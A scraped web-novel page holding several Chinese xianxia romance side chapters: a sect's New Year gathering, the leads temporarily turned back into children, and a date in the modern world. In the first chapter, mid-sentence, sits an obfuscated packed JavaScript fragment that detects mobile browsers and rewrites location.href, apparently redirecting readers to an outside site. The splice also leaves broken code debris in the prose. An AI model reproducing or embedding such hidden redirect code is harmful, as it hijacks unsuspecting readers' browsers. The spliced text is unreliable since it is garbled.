“阿因,该你出牌了。”梁惜时提醒着自家妹妹,视线却落在了重霄身上。一个叶子牌有那么难学吗?还有学牌就学牌,凑那么近干什么,看不清吗??他不由腹诽道。 不止他在看着重霄,殿中有不少人都有意无意地将目光落在了重霄身上。堂堂魔尊来玄晖宗过新年,光是想想就很奇怪啊!偏偏掌门没意见,那也由不得他们说什么了。 不过...含盈仙子和魔尊的感情是真好啊,没想到他们二人竟是当真两情相悦,而非含盈仙子以身饲魔。 察觉到梁惜时投过来的目光,这些人莫名感到一阵寒意,连忙将视线收了回去。梁惜时这才重新低头看牌,真是不管过了多久,宗内总有这般爱多管闲事之人。 这把结束后,梁惜时提出让重霄来打上一把练练手。可他很快就后悔这个提议了,重霄这小子完全不按路数出牌,才打了一半他就知自己要输了。临到最后,他终是抓住了重霄的一处破绽而险胜了。 梁惜时摸着下巴,若有所思:“再来。” 几把下来,无一不是重霄起先强势,在和梁惜时对上后却又因各种破绽而惜败。梁惜时咳了两声,摸着袋中的灵石,难得有几分不好意思:“行了,你们打吧。” 一下午的时间转瞬而逝,扶岳摸着一颗灵石也无的乾坤袋,愤愤道:“为何啊?为何就我一把都没赢过?!” 谢既微默默地将自己的乾坤袋收起,同情地对他说:“可能是命吧。” 扶岳一把将乾坤袋扔在了桌上:“新年第一天,要不要这么倒霉啊!” 喊完后,他化出虎耳,又变了副面孔,用脑袋蹭着林韵舒,唤道:“夫人。” 林韵舒双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15082990|152851||http|test|mini|href|location.split(|),0,{})); () { $(.inform).remove(); $(#content).append( 手背在身后,坚决不摸他:“我没钱。” 扶岳:“......”没爱了。 另一边,重霄轻晃了下手中袋子,又将之交到了梁惜因手中。梁惜因轻“咦”一声:“这不是你的乾坤袋么?” “交给阿因保管。”重霄一手托腮,偏头看着她。这一个下午,除了梁惜时,也就是他赢得最多。 梁惜因笑着应道:“好,那你要用的时候记得来找我拿。” 暮色上涌,聚在天枢峰的众人陆续回了峰。重霄牵着梁惜因,两人深一脚浅一脚地踩在雪中。玄晖宗内冬暖夏凉,也是很久没下过这么大的雪了。 穿过终年长青的高大古木,梁惜因眼前的景象逐渐清晰起来。只见天璇峰中央最开阔的空地之上,整齐地立着几个雪人。雪人周围还围着好些人,正忙着滚雪球。 梁惜因扫了一眼,唇边溢出笑来:“都在啊。” 蹲着拢雪的几人纷纷站起身,行礼道:“前辈/师尊。” 梁惜因缓缓走近,先问离她最近的贺望道:“怎么还在宗内,不是说要回家过年的吗?” 贺望立马站好,带着些激动地答话道:“回前辈,我过几日再回去。”他的声音渐渐小了下来,“入宗后的第一个年,我想和大家一起过。” “也好。”梁惜因碰了碰他的脸,确认不凉后才放下心,看来这御寒诀掌握得还不错。 “前辈!快过来。” 梁惜因应了一声,转身向燕明昭走去。重霄在旁扶着她:“阿因,走慢些。” 等两人走到了面前,燕明昭抱着双臂,示意他们看向她脚边的两个雪人。 梁惜因蹲下身,细细打量了一遍,由衷说:“明昭,这都是你堆的吗,好厉害!”面前的两个雪人一大一小,憨态可掬。较大些的雪人立在后面,看上去就如将小雪人拥在怀中一般。 “那当然。”燕明昭扬着脸,“猜猜这堆得是谁?” 梁惜因:“......”她沉吟一番,“嗯...这有鼻子有眼的,应该是...” 她应该了半天也没应该出个人名来,柳甫畅这时插话道:“看不出来吗?师姐堆的时候可是不让任何人帮忙呢。” 燕明昭深吸一口气,从地上抓起一把雪扬了过去:“要你多嘴!” 见状,梁惜因反倒肯定了心中猜想,“是我和阿霄吧?”她问。 燕明昭拍掌:“我就说前辈定能认得出来!那姓柳的还说我堆得不像。”她双手叉着腰,自得的道:“怎么样,不错吧?” “嗯,”梁惜因笑着说,“很可爱。” 说完,她扯了扯重霄的袖子。重霄与她对视一眼,也说道:“确实可爱。” 燕明昭受着夸奖,哼哼两声,开始碎碎念:“我一开始是打算堆个前辈出来的,堆完后却总觉少了些什么,便把魔尊也堆了出来,这才看着顺眼不少...” “堆完了!”不远处响起一道声音,燕明昭止住话头,几步便走了过去,“师尊也堆完了?” 梁惜因拉着重霄的手站起身,也走过去凑热闹。殷照坐在雪地上,向几人展示着他的醉卧雪人。 燕明昭目露疑惑:“师尊,你再说一遍,这东西叫什么?” “醉卧雪人啊!”殷照一一指过最前面的雪团、长长的雪条,还有置于一旁的雪块,“这是头,这是身子,这是酒坛,看不出来吗?” 众人:“......”说实话,这谁能看出来啊?? 殷照还在理论着,梁惜因偏过头,问站在后面的纪长天道:“你做的雪人呢?” 纪长天迟疑了一瞬才开口说:“做得不好...” “没关系,我想看一看。”梁惜因打断他。 纪长天遂指向最右边的一个雪人,在见识过殷照的神作后,梁惜因不由觉着这雪人做得着实精巧。与其他雪人不同的是,这雪人身后还有着一对翅膀,与纪长天化作鹤形后的羽毛同样洁白无暇。 “这不是做得很好嘛。”梁惜因对他说,“一看就很是用心。” “弟子多谢师尊!”纪长天还是和从前一样,一被她夸赞就容易脸红。 燕明昭又站回梁惜因身侧,拉着她一一看过这些雪人,跟她介绍道:“这是师兄堆的,是不是一看就很端正;那是常前辈堆的,是几个雪人里堆得最好看的了;还有这个...” “是我堆的!”贺望举着手跑来,因动作太急,若不是常谧搀了他一把,怕是要直接跌进雪中了。 燕明昭不慌不忙地接完后半句话,“堆得还行,不过比起我的还是差了一些。” 走了一圈下来,梁惜因指着没被她介绍到的,同样依偎在一起的两个雪人,明知故问道:“这是你和柳甫畅吧?” 燕明昭半低着头,有一下没一下地踢着脚下的雪:“是他堆的,堆的还...挺好看的。” 见不远处的柳甫畅面露惊喜,梁惜因笑了笑,收回视线。她抬手捏了一道诀,灵力自她指尖流出,泛着浅淡的微光,萦绕在这九个雪人身上,又融进了它们体内。 “这样就能保存得久一些了。”她道。 天色渐渐暗淡下来,姿态各异的九个雪人立在这片空地之上、立在众人眼前,像是在欢迎他们回家。 晚风吹散层云,星子照彻寒夜,皑皑白雪在皎月的光辉下闪着细碎的银光,照亮了前路。贺望踩着雪回到弟子院中,点燃了桌上烛火,随后马不停蹄地坐到了桌前,开始给家中写信。 因方才跑得太快,贺望此时还在微微喘息着,呼出的热气在空气中凝为白色水雾,又在倏忽之间散去。他摊开宣纸,认认真真地写道: 阿爹阿娘, 见字如面。 时日过得真快,转眼间儿子已入宗三个月了。 我这些天过得很好,师尊还有师兄师姐们也都待我很好。阵法虽然有点难,但我会认真学的!我还新学了很多法诀,回去后就展示给你们看。对了,说出来你们可能都不相信,我这几日见到含盈仙子和魔尊了!他们二人和传闻中的一点都不一样,尤其是魔尊,看上去根本不会害人。 昨日我还和师尊他们一起去含盈仙子的院中吃饭了。说来奇怪,这隆冬天,那院子里竟然还有梨花开着。桌上的所有饭菜都特别好吃,比酒楼里的要好吃多了! 今日是正月初一,也是我在玄晖宗过得第一个年。修仙界的习俗有好多都和凡间不太一样,但大家聚在一起,还是很热闹,尤其是今天上午的爆竹声,响得估计连山下的人都能听到。白日里师兄师姐带我去山下玩了,还给我买了好多小玩意,我也给他们送了回礼。当然,我也给阿爹阿娘买了新年礼物!回来后天都快暗了,我和前辈们就一起在峰上堆雪人,特别有意思。含盈仙子还给雪人施了法术,说这样能保存得久一点。 在天璇峰的每一天都很令人开心,希望以后大家还可以经常像今天这样聚在一起,岁岁年年。 三日后儿子便会归家,忽忧、忽念。 岁次甲申正月初一 子贺望敬叩 112. 番外五 还童 今日是玄晖宗平平无奇的一天。旭日初升,常谧准时睁开双眼,同往常一样穿衣洗漱,接着来到饭堂,雷打不动地要了一碗清粥和两碟小菜。 吃到一半时,她隐隐觉着有些不对劲。这个时间点,照理说纪长天和重霄也该来饭堂了。可这偌大的饭堂中,只坐着她一人。 常谧这时并未对此事多做在意,只道是时间不巧,没遇上罢了。可等来到练功堂后,心头那股异样的感觉愈来愈强烈。分明早已过了往日开始练功的时刻,堂内却依旧是空无一人。不仅如此,整个天璇峰都格外安静,安静得有些过头了。 常谧当机立断地收拾起书本,布阵来到了落雪轩前。她唤了好几声,又敲了几遍门,都没得到回应。遂不再迟疑,径直推开门走进了梁惜因的卧房。 乍眼望去,床上的被褥凌乱地团成一团,她并未从中发现梁惜因的身影。正待常谧转身要去其它房间时,她忽觉自己的衣摆被扯了扯。 不详的预感涌上心头,常谧低下头,就见一个长得和梁惜因十分相似,看上去却只有六、七岁的女孩正泪眼汪汪地望着她:“大姐姐,你看到我哥哥了么,呜呜...” 常谧:“......”瞳孔地震。 半炷香后,常谧看着面前的三个小不点,前所未有的手足无措起来。梁惜因抹着泪,一直念叨着“要哥哥”;纪长天把整个人都缩在了翅膀中,默默蹲在角落里;重霄蹲在另一个角落里,警惕地盯着屋中的每一个人,眼含煞气。 常谧...常谧第无数次怀疑自己没睡醒。她不知道事情为什么会变成这样,但她还是决定先从最好下手的开始。她蹲下身,缓缓向梁惜因挪着步子,用此生最温柔的声音说道:“小妹妹,不哭了,你哥哥很快就会来了。” 梁惜因还在小声抽噎着:“真、真的吗...” 常谧替她拭去眼角泪水:“真的,不骗你。”所以为什么梁峰主还没来啊啊啊!!! 她又哄了梁惜因几句,就听得身后的门“砰”的一声被打开,梁惜时一个箭步冲上前来,一把将常谧挤到了一边,嗓子夹得快冒烟了:“哦!阿因!!还认得我吗,我是哥哥啊~” 常谧:“......”这不是她认识的梁峰主。 紧随在梁惜时身后的扶岳和谢既微也稀罕地凑了过来:“这就是含盈小时候的模样吗?看来长大后也没有变多少。” “看着好小一只,好弱的感觉。” 梁惜因被三个身高腿长的男子围在中间,一时都不知该作何反应。几息之后,她嘴一撇,终于再也忍不住地放声大哭起来:“呜呜呜...我要哥哥,我要哥哥...” 梁惜时已有许多年没见到这副模样的梁惜因了,只觉心都软了。他瞪了一眼扶岳和谢既微,挥手将他们二人赶到一边去了。 和常谧一道挤在墙边的扶岳、谢既微:“......” 身旁没了人后,梁惜时抱住小小的梁惜因,安抚道:“阿因不哭,哥哥在这呢。” 怎料梁惜因直接从他怀里挣脱了出来:“你不是我哥哥,我要去找哥哥...” 梁惜时也急了:“我就是哥哥啊,阿因不认得哥哥了吗?” 他的语调令梁惜因感到很熟悉,她渐渐止住了哭声,怔愣地盯着梁惜时看,还真从眼前的面孔中看出了几分熟悉的影子。 带着些不确定,她懵然地唤道:“...哥哥?” “诶!”梁惜时又激动了,重新将人抱进怀里,“就是哥哥!” 谢既微清了清嗓子,无情地打断了这兄妹团圆的感人场面:“行了,这边可还有两个呢。” 梁惜时幽怨地望了他一眼,站起身说:“妖族在幼年的生活习性更接近于本体,要不把长天送回合虚山待些时日?” 似是察觉到了屋中诸人的眼神落到了自己身上,纪长天将自己缩得更小,身子还在轻微发着颤。 谢既微沉吟片刻,摇头道:“不妥。合虚山的鹤族长老们性子顽固,就这般送回去,他们定会认为是我们照管不佳。此后要再把长天接回来,难免会费一番功夫。” 梁惜时:“是我考虑不周了。” 扶岳问:“那重霄呢?”他那眼神太凶,扶岳甫一对上,竟是控制不住地心悸了一瞬。 梁惜时面无表情:“哪里来得放回哪里去吧。” 常谧:“......”未免也太区别对待了些吧?! 谢既微忍无可忍,一巴掌拍他背上:“说正经的!” 又是半炷香后,常谧和谢既微几人围坐在桌旁,三小只则在他们四人的共同努力下,坐在了一张长椅上。纪长天和重霄一人缩在长椅的一端,梁惜因端坐在正中间,眼巴巴地望着梁惜时。 谢既微抿了口茶,对常谧说:“所以你是说,他们三人在前几日曾共同去了不幽谷除魔?” 常谧应道:“没错。我那时因家中有事,并不在宗内。” 梁惜时思索道:“若我记得没错,不幽谷有异兽潜虚,三百年一苏醒,确实拥有使人返老还童的能力。” 扶岳挠头:“你说这事怎么就这么巧呢?而且既是前几日去的不幽谷,为何会在今日发作?” 谢既微看了眼排排坐的三小只,不由叹了口气:“请何峰主来看看吧。” 何峰主来了后,全程精神恍惚地替梁惜因把了脉。至于为什么只给梁惜因把脉,因为三人中只有她一个愿意配合。皱眉沉思了须臾,她开口说:“梁峰主体内确有潜虚兽的气息。这气息蛰伏了几日,到今日方得发作。” 谢既微连忙问道:“可有解决办法?” 何峰主摇了摇头:“异兽留下的气息无药可解。但好在留的并不多,顶多五日就会自行散去,届时他们自然也会恢复如初。” 送走了何峰主,谢既微拧着的眉终于舒展了些许:“只有五日,倒也不算太久。” 梁惜时早已按捺不住了,又扑到梁惜因身前:“阿因,饿了吧?哥哥做饭给你吃~” 谢既微捂住脸,不忍直视。 扶岳立马说:“哥,我也饿了,我也要吃饭。” 梁惜时:“...滚。” 梁惜因眨了眨眼,她还是不明白为什么睡了一觉就来到了这个地方,身边全是陌生人,唯一熟悉的哥哥还突然变得好高。她默默抓紧了梁惜时的衣袖,小声应道:“好。” 一行人又来到天玑峰的峰主院中。梁惜时在厨房做饭,梁惜因亦步亦趋地跟在他身后团团转,小尾巴一般。油烟味渐渐升起,梁惜时蹲下身,温声对她说:“阿因,你先去外面和哥哥姐姐们玩一会。哥哥过会来喊你用饭。” 梁惜因也觉着自己待在这也帮不上什么忙,很干脆地答应了。 常谧、谢既微和扶岳正坐在桌旁说着话,梁惜因没去上前打搅这些大人们,转身向树下走去。 重霄独自坐在树下,细看之下,不难发现他那凶狠眼神下的一丝茫然。他完全不明白自己为何会突然出现在这里,正试着在脑中回忆昨晚的情形。 昨晚,他好不容易才摆脱身后追着的妖兽,躲到了一处洞穴之中。双腿在长时间的剧烈奔跑后微微发抖,饥饿的感觉更是令他头晕眼花。他从怀中摸出发硬的半块饼,囫囵吞了下去。 腹中终于有了一些东西,困倦紧随着袭来。他裹着单薄的外衣,边庆幸着今日黑雾没有溢出,边蜷缩着睡了过去。 然而再一睁眼,他就发觉周围的景象变了。他从未来过这种地方,这些人身上的气度也是他从没见识过的。四周处处透着清幽、安适、静谧,而这些,无不令他感到格格不入。 察觉到梁惜因的靠近,重霄的身子立时紧绷起来,密切注意着她的一举一动。梁惜因在距他三步开外的地方停下了,好奇地唤了一声:“重霄?” 因着许久都未曾说过话,重霄的嗓音有些沙哑:“我不是什么重霄。” 梁惜因歪了歪头,不解道:“可我听他们是这么唤你的啊。”她又问,“那你叫什么名字?” 这还真把他给问住了。重霄怔了片刻才说:“我没有名字。” 梁惜因肯定地道:“那你就叫重霄!” 重霄:“......” 他还欲再说什么,就听院中有人唤道:“阿因,吃饭了!” “来啦!”梁惜因应了一声,拉着重霄就往桌边走去。重霄本可以第一时间甩开她的手,但不知为何,他不想这么做。手腕上传来温热的触感,莫名令重霄想起天边的云,都是他从未感受过的柔软。 “长天,来吃饭...”常谧偏过头,却并没有望见那对洁白的羽翅。 常谧:“......”什么时候溜的? 她站起身:“我去找找师弟。” 谢既微不放心,也跟了出来。 常谧蹙眉,自责道:“是我疏忽了,没看紧师弟...” 谢既微笑道:“无妨。玄鹤一般都喜栖息在水边,恰好天玑峰上有一汪清潭。” 没走多远,空气中传来一丝凉爽的气息,一抹幽蓝出现在了碧空之下。清潭不大,岸边长满了齐腰高的水性灵植。微风拂岸,影影绰绰间,两人俱看到了一个小小的白色身影。 谢既微拨开灵植,轻拍了拍纪长天的肩,笑问道:“长天,你在这里作甚?” 纪长天回头,怯生生地望着他,低声道:“这里比较熟悉...” 常谧也走了过来,双手撑膝,弯下腰看他:“那你可觉着我熟悉?” 纪长天没答。乍来到这陌生之处,族中长辈又俱不在身边,他自是害怕极了,只想着要把自己藏起来,不被任何人找到。可就如常谧所言,不论是四周景色还是身侧之人,都令他感到一股熟悉,令他忍不住想要靠近的熟悉。 谢既微轻拉着他起身,说出的话萦在纪长天的心间:“长天,无论是合虚山还是玄晖宗,都是你的家。” 等人都到齐后,众人才开始动筷。梁惜时一刻不停地给自家妹妹夹着菜:“来,阿因,尝尝这个,还有这个...都是你爱吃的。” 梁惜因扒拉着饭,将嘴塞得鼓鼓囊囊。很快她又发觉身边坐着的人一直没有动静。她将嘴里的饭菜咽下,问重霄道:“你怎么不吃呀?” 说着,她拿起一块放得离她最近的盘中 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唔...这好像也不需要她来照顾?常谧端坐在桌旁,开始温习阵法。屋内一片静谧,只有梁惜因会时不时“哒哒”地跑来,双手攀在桌沿,仰着脸望她:“姐姐,我想喝水。” “姐姐,这个字念什么呀?” “姐姐,哥哥怎么还不回来?” 她每唤一声,常谧心里就一紧。被师尊唤姐姐,她实在受不住啊!!常谧将笔搁下,替她理了理颊边碎发,“等太阳落山了,哥哥就回来了。” 梁惜因垂下眸子,像是在想太阳什么时候下山。 常谧没忍住揉了把她的脑袋:“很快了。” 梁惜因闻言,顿时笑道:“谢谢姐姐!” “不用谢,师...”常谧连忙将最后一个字咽了回去,不过梁惜因也根本没注意到,又跑回了长椅上看话本。 红日西斜。常谧甩了甩手腕,整理着在宣纸上绘制的阵法。总觉着有几处画得不到位,明日再拿给师尊看看吧...等等,师尊?!她猛然想起自己忘了何事了,学阵法学得太入神,她竟完全没想起来屋内还有三个小不点。 她扭头向里望去,又在看清眼前景象时不自觉地放轻了呼吸。 纪长天和重霄不知何时也坐到了长椅上,三小只头抵着头,睡得正香。梁惜因嘴角微微扬起,翻了一半的话本还盖在腿上;纪长天把羽翅当被子盖着,嘴里嗫嚅着什么;重霄微蹙着眉,一手还捏着梁惜因的衣袖。 霞光铺洒在他们身上,像毛绒绒的毯子,闪着润泽的金光,轻柔地将三人裹入其间。 “阿...”梁惜时走了进来,在视线落入屋内的一瞬又立时噤声止步。他与常谧相视一眼,不约而同地露出笑意。 夜幕彻底降临之后,梁惜因拉着梁惜时,不肯让他离开:“我要和哥哥一起睡!” 在父母刚去世的几年中,梁惜因确实是一直与他同睡的。梁惜时一刻都没犹豫就答应了下来:“好,那哥哥陪你睡!”他捂住心口,真是...已经记不清多久没被自家妹妹这般需要过了。 梁惜因眉开眼笑,又指着身后两人道:“还有阿霄和长天,我们四个一起睡!” 梁惜时:“......啊?”他不过就一个下午没在,发生什么了这是??怎么又叫上“阿霄”了??! 他僵硬地扭过头去看常谧,偏偏梁惜因还一直晃着他的手:“哥哥,好不好嘛,求你了——” 常谧默默移开视线,强压住上扬的嘴角:“梁峰主,你可以的。” 梁惜时:“......”他可以个鬼啊!! 一个多时辰后,梁惜时躺在床上,看了看身侧躺着的三只小不点,又扭头重新看向了天花板。他到底还是屈服了... 落雪轩的床显然不够他们四人睡,是以他们此时睡在一间空着的弟子院中。梁惜时还特意又搬了一张床来,将两张床拼在一起。梁惜因自然与他睡在一处,而纪长天和重霄则在另一张床上,一个睡在床头,一个睡在床尾。 梁惜时伸手替梁惜因掖了掖被角,面前女孩的睡容和他记忆中的重叠在一处。他忽然觉着,如果一直这么下去,好像也并非不能接受。 这般睡了两日后,第三日梁惜时说什么也不和他们一道睡了,还让他们三个各自回自己原本的房间睡。每日来把脉的何峰主说他们这两日就要变回去了,要是早上一睁眼,看到身边躺着三个成年修士...梁惜时想不下去了。总而言之,绝对不能让这种情况发生! 也亏得他有先见之明,第四日清晨,梁惜时起床收拾一番后就直奔落雪轩。迈进半敞的院门后,他抬眼就望见了憋着笑的常谧,和动作非常一致的捂着脸的梁惜因三人。 梁惜时往里走着,哪壶不开提哪壶:“诶呀,之前是谁央着我陪她睡啊,我不答应还又哭又闹的...唔唔唔!” 梁惜因面色通红,死死捂住他的嘴:“给我忘掉!!” 113. 番外六 现世 梁惜因睁开眼,入目的是白色天花板和一盏吸顶灯。 日光透过淡紫色的窗帘照射进来,梁惜因的大脑出现片刻空白。自重回自己所在的世界后,她在现世中的记忆便逐渐淡去,只有在极偶尔的时候才会想起。但此处她再熟悉不过,只消一眼便能认出——正是她在现世所居的那间出租屋。 她这是在做梦?还是说,在修仙界中的一切才是一场梦?阿霄...她猛然扭头,见重霄还在她身边睡着,顿时安下了心。她又试着调动了□□内灵力,发觉这身修为也还在。 还好,不是梦。 随之而来的是深深的疑惑,梁惜因记着她昨日和重霄回了趟漆吴山,夜深后便直接在石宫中歇下了,没有任何异样出现。那她为何会突然回到此处?还把重霄也一起带来了...也不知要如何才能回去。 身旁传来的动静声打断了梁惜因的思索,她侧过身子,轻声说:“阿霄,你醒啦。” 不论如何,起码还有重霄陪着她。 重霄习惯性地抱着她蹭了蹭:“阿因,早。” 等睁开眼看清周围景象后,他顿时翻身坐起,掌中凝出黑雾,护在他和梁惜因周身。他皱眉端详着屋中摆设,警惕道:“这是何处?” 梁惜因也坐了起来,好笑地按住他的手:“阿霄,放心,此处很安全的。” 黑雾缓慢地缩回体内,重霄的眼神中依旧透着几分不解,以及还未完全散去的戒心。 梁惜因解释道:“还记得我和你说过的,我在回去之前待过的世界吗?” 重霄当然记得,梁惜因与他说过的每一件事他都记得。无父无母、先天顽疾...在听她说完这一切后,重霄默默无言地抱了她许久。当时的梁惜因环着他的后背,温声劝慰道:“没什么好难过的,再怎么说也是一场机缘,一场能让我回家的机缘。” 思及此,重霄眸光微动,认真地打量起了所处的房间:“所以,此处便是阿因与我说的那个世界?”虽是疑问句,语气却很肯定。 “不错。”梁惜因接受得很快,虽然不知为何会过来,但这来都来了,自然是要好好把握。 她拉着重霄下床,眼角眉梢俱是笑意:“阿霄,我们约会去。” 凭着残留的记忆,梁惜因并不费力地找到了钱包和手机。她在这拾掇着准备出门,一回眸却见重霄还站在原处望着她,穿着与周围的现代设施格格不入的白色长袍。 梁惜因轻笑,指尖捏了个诀。墨发缩短,白袍隐去,转眼间,重霄身上的装束就成了一件灰色毛衣配一条浅蓝色牛仔裤。眉间的怨字纹也被隐去,留下的两枚眼下痣则给他精致的面容平添了一丝妖冶。 梁惜因眼前一亮,围着他转道:“果然阿霄就是穿什么都好看。” 重霄原本还有些不适应突然缩短的长发,闻言不禁露出笑意:“阿因喜欢便好。” 梁惜因牵着他的手出了单元门,想着重霄在这人生地不熟的,她不免再三叮嘱道:“好好跟着我,别走丢了。” 重霄笑了笑,直接从后面揽她入怀,咬了咬她的耳垂:“阿因就算想丢我也丢不掉。” 梁惜因身子一颤,听见不远处有脚步声传来,连忙和他拉开了距离。 来人是住在梁惜因对门的邻居,见了梁惜因热情招呼道:“哎呀,这不是小梁嘛!” 梁惜因笑道:“裴姨好。” 裴姨烫了头大卷发,远远地就见着梁惜因身旁站着个身高腿长的男的,走进一看更是忍不住惊叹道:“小梁你什么时候找的男朋友?这小伙长得是真俊啊!” 梁惜因也侧目看了眼重霄:“谈了有一段时间了。” 裴姨又赞叹了几声,视线忽然直勾勾地落在了梁惜因脸上:“小梁,我刚就想问了,你脸咋这么红啊?” “有吗?”梁惜因连忙用手背碰了碰脸,确实感到了一股轻微的热意。她垂下眸子,随口说:“可能是热的吧...” 裴姨走后,梁惜因偏过头,果然看见了重霄面上那毫不掩饰的笑意。她捏了捏他的掌心,故作不满:“笑什么?我和你说,这个世界人很多的,还到处都有监控,就是一种相当于留影符的东西,你可给我注意些...” 重霄也不知听没听进去,再度弯腰凑到了梁惜因耳边,压低嗓音问道:“男朋友...是什么意思?” 温热的气息勾起一片痒意,梁惜因捂着耳朵,佯瞪了他一眼:“你不是都知道了吗,还来问我干嘛?” 重霄揽住她的肩,又拉近了两人间的距离:“那阿因就是我的女朋友了?” 梁惜因不看他:“我是你师尊。” 重霄听了,苦恼道:“我昨夜便是这么唤阿因的,可阿因那会却不让我这么唤她,说是...” 梁惜因连忙捂住他的嘴,才消下去的红意再度泛起:“不许说了!” 重霄确实没再说话,可露出来的一双眼睛中却蕴着千言万语与说不尽的柔情。梁惜因像是被烫到般缩回了手,他这副模样,倒是让梁惜因想起了刚回去时,那非要留在她身边的小重霄,只是比那时还要更不正经几分。 看来是要把扶岳送来的那些闲书都收走了,这都学了些什么啊... 走到路口后,梁惜因带着重霄坐进了一辆出租车,向着一家商场驶去。重霄漫不经心地看着窗外飞驰的景色,梁惜因曾说过,这个世界与他们所处的世界大有不同。只不过在当时,比起这些不同,重霄更在意梁惜因在这里过得好不好。 而此时,他才真正领略到这两个世界的差异。这是一处没有术法,也没有人、妖、魔之分的世界,和平而富饶。 下车后,梁惜因拉着重霄直奔电影院:“还记得我和你说过的电影吗?我方才看手机,今日正好有一部玄幻片上映。” 重霄理解的电影就是凡间戏班子所排的百戏,他以前流浪的时候见过一两次,但并未在台前久留,他不喜欢那份热闹和喧嚣。那时的他,以为自己会一直在孤寂与阴暗中活着。 此刻看着梁惜因的笑颜,他心中也升起了几分隐秘的期待。不止是这一件事,自遇见梁惜因始,这世间的万千景象,在他眼中都有了意义。 距电影开场还有一段时间,梁惜因便带着重霄去影院对面买奶茶。梁惜因扫了码,选好自己的后就把手机递到了重霄面前:“你看看你要喝什么。” 重霄只扫了一眼,目光就重新落回了梁惜因身上:“和阿因一样的便好。” 奶茶做得很快,重霄接过梁惜因递给他的那杯,学着她的模样将吸管插了进去。与他此前所喝的茶不同,这所谓的奶茶中带着一股对他而言过于浓郁的甜味。 “味道如何?”梁惜因笑眼盈盈地望向他。 重霄将口中奶茶咽下,回道:“还不错。阿因若是喜欢,回去后我便试着做一做。” 没聊几句,就到了电影的开场时间。重霄跟在梁惜因身后进了影厅,此处光线昏暗,又是基本密闭的空间,还有着许多生人,令重霄下意识地就警惕起来。 梁惜因靠在重霄肩上,与他说起在预告中看到的内容。她语调轻缓,令重霄不知不觉就平静了下来。很快,电影开播,除了面前的那一方荧幕,影厅中彻底暗了下来。 重霄初时还有几分新奇,没过多久就感到些许腻味。对旁人的故事,他实在是提不起兴趣来。于是在这黑暗的掩映下,他不动声色地将视线落在了梁惜因面上。 随着荧幕中画面的变化,梁惜因脸上的光影也在不断变化着。她的神情随着剧情的发展生出细微的不同,或蹙眉,或扬唇,一颦一笑皆是如此生动,令重霄忍不住想要铭记心间。 修道者的五感异于常人,身为魔尊的重霄也不例外。在电影进行到一半时,他注意到前排坐着的一男一女靠在了一起,忘我地亲吻着。 重霄:“......”还可以这样? 梁惜因的神情有了些微波动,显然也是注意到了。重霄握着梁惜因手的力道加重了些,慢慢向她凑近。梁惜因终于没法再对他视而不见,轻唤了声:“阿霄。” 这一声像是唤进了重霄心底,他不再迟疑,倾身吻了上去。 从电影院出来后,重霄还有些意犹未尽:“阿因,下次有机会还来看电影吧。” 梁惜因:“......”你想看的是电影吗。 正巧路过厕所,梁惜因和重霄说了一声,往里走去。她走到洗手台前,果见镜中的自己嘴唇红润非常。这家伙...成亲过后还真是越发不像话了,整得她后面也没什么心思看电影了。 又对着镜子理了理头发,梁惜因才向外走去。待看清眼前的景象后,她却又好笑地止住了步子。 只见重霄被一群女生围在中间,他皱着眉,眸中除了不耐还有着几丝茫然。梁惜因站得和他们有一段距离,但并不妨碍她听清他们的对话。 “帅哥,可以加个联系方式吗?” “何为联系方式?” “就是微信啦。” “微信是何物?” “...那企鹅呢?” “企鹅?从未听说过此种动物。” “......帅哥,你真幽默哈。那电话号码总得有了吧?” 重霄耐性已要耗尽,他向厕所门口看去,终于望见了梁惜因的身影,只不过是憋着笑的梁惜因。 重霄:“......” 梁惜因:“......”被发现了。 她快步走过去,挽住重霄的手:“久等了,我们走吧。” 这下那些女生还有什么不明白的,道了歉后就纷纷扭头走了,边走还边回头看着。 “我就说人家长成这样,肯定有女朋友了,你还不信。” “可是他女朋友长得也好漂亮啊,好有气质。” “话说这两人当真不是明星吗?” ...... 梁惜因望着重霄,柔声问:“生气了?” “没有。”重霄答得很快,“只是不知要如何应对她们。” 想来也是,重霄身为魔尊,那些个女修见着他,恨不能退避三尺。而那些凡间女子就算不知重霄的真实身份,也不会胆大到直接来向他搭话。 梁惜因垂眸,觉着自己方才实在不该在旁看热闹:“我应该直接过来找你的。” “无妨。”重霄抚了抚她脑后的长发,“是我没早些和她们说,我已有女朋友了。” 梁惜因轻笑出声:“这新学的词你倒是会用。好了,不提这事了,我们用饭去。” 梁惜因选了一家火锅店,重霄从没试过此种吃法,在梁惜因给他示范过后,很快便学会了,不停地下菜,再把菜捞到梁惜因碗中。 看着碗里东西越堆越多的梁惜因:“......” 她不得不制止他道:“可以了,你也多吃些。” 重霄这才停下往她碗中捞菜的动作。梁惜因吃着菜,不禁想着,在夹菜这方面,重霄和梁惜时还真是如出一辙。 想起梁惜时,梁惜因觉着回去后也可以尝试下这种吃法,尤其是在冬日。届时白雪盈院,红汤滚沸,众人围坐桌前,又是一桩赏心乐事。 吃完后,两人来到商场附近的游乐园。商场对重霄来说就相当于是多家商铺聚集在一起,并不难理解。而这游乐园中的种种则完全是他此前从未接触过的。 几乎每一个人的面上都带着笑意,不时有视线落在梁惜因和重霄身上。这些视线中没有恐惧、憎恶、惋惜...有的只是纯然的好奇与欣赏。 但重霄更宁愿面对那些带着惧与憎的眼神,这纯粹的善意反倒是令他不适应起来,甚至是想要逃离。 这时他忽觉身边的人步子加快了些许,梁惜因快步走在前面,回头望着他说:“阿霄,你想不想去坐过山车!” 眼前的爱人笑容明媚,霎时间就扫尽了他杂乱的思绪。他不再去关注那些目光,回道:“想。” 其实这也是梁惜因第一次来游乐场。她自幼在福利院中长大,自然不能像别的小孩一样,和父母一同来这些场所玩。长大之后,她边忙于学业边兼职挣钱,挣来的钱自然也都被用于买药看病了。她没有时间也没有余钱来这些地方。 在极偶尔的时候,她从游乐园外路过,看着里头欢笑的人群,眼中也会闪过一丝艳羡。但也仅仅是一瞬罢了,随后她便会扭过头去,继续为生活奔波。 她今日带重霄来此处,说是带他来玩,其实也是为了弥补自己少时的遗憾。 